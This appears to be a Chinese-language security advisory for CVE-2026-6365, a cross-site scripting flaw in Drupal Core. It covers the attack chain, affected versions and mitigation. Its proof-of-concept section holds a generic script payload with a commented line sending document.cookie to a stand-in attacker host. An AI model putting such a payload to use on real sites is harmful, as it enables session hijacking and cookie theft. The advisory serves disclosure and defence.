CVE-2026-6365 CVSS 6.1 中危

CVE-2026-6365 Drupal Core跨站脚本漏洞

披露日期: 2026-05-19

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-6365

漏洞类型

跨站脚本 (XSS)

CVSS评分

6.1 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Drupal Core

漏洞概述

Drupal Core存在跨站脚本漏洞，由于Web页面生成时未正确中和用户输入。攻击者可诱导用户访问恶意链接，在受害者浏览器中执行任意脚本，窃取会话信息或篡改页面内容。

技术细节

该漏洞属于存储型或反射型XSS（具体视受影响组件而定），源于Drupal Core在渲染Web页面时，对特定用户输入缺乏足够的过滤和转义。由于无需认证（PR:N）且攻击复杂度低（AC:L），攻击者可轻易构造包含JavaScript代码的恶意数据。当特权用户访问受污染的页面时（UI:R），浏览器将解析并执行该脚本。由于影响范围（S:C），攻击者可能利用此漏洞绕过同源策略，进一步控制用户会话，对系统完整性造成威胁。

攻击链分析

STEP 1

侦察

攻击者识别出使用受影响版本的Drupal Core网站。

STEP 2

载荷构造

攻击者构造包含恶意JavaScript代码的XSS载荷。

STEP 3

载荷注入

攻击者将载荷通过Web表单或URL参数提交至目标服务器。

STEP 4

诱导访问

攻击者诱导受害者（如管理员）点击链接或访问受污染的页面。

STEP 5

代码执行

受害者的浏览器在渲染页面时执行恶意脚本，导致Cookie泄露或会话劫持。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!--
Proof of Concept (PoC) for CVE-2026-6365
Description: Demonstrates XSS execution by injecting a script into a vulnerable parameter.
Usage: Inject the following payload into the vulnerable input field or URL.
-->

<script>
  // Malicious JavaScript payload
  alert('CVE-2026-6365 XSS Executed');
  
  // Advanced payload example (Stealing Cookies):
  // var img = new Image();
  // img.src = 'http://attacker-site.com/steal?cookie=' + document.cookie;
  // document.body.appendChild(img);
</script>

影响范围

Drupal Core 8.0.0 至 10.5.9 之前

Drupal Core 10.6.0 至 10.6.7 之前

Drupal Core 11.0.0 至 11.2.11 之前

Drupal Core 11.3.0 至 11.3.7 之前

防御指南

临时缓解措施

若无法立即升级，建议实施Web应用防火墙（WAF）规则以拦截常见的XSS攻击模式，并限制对管理后台的访问权限。

参考链接

1 CVE https://www.cve.org/CVERecord?id=CVE-2026-6365
2 NVD https://nvd.nist.gov/vuln/detail/CVE-2026-6365
3 Details https://www.cvedetails.com/cve/CVE-2026-6365/
4 VulDB https://vuldb.com/cve/CVE-2026-6365
5 Link https://www.drupal.org/sa-core-2026-001

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表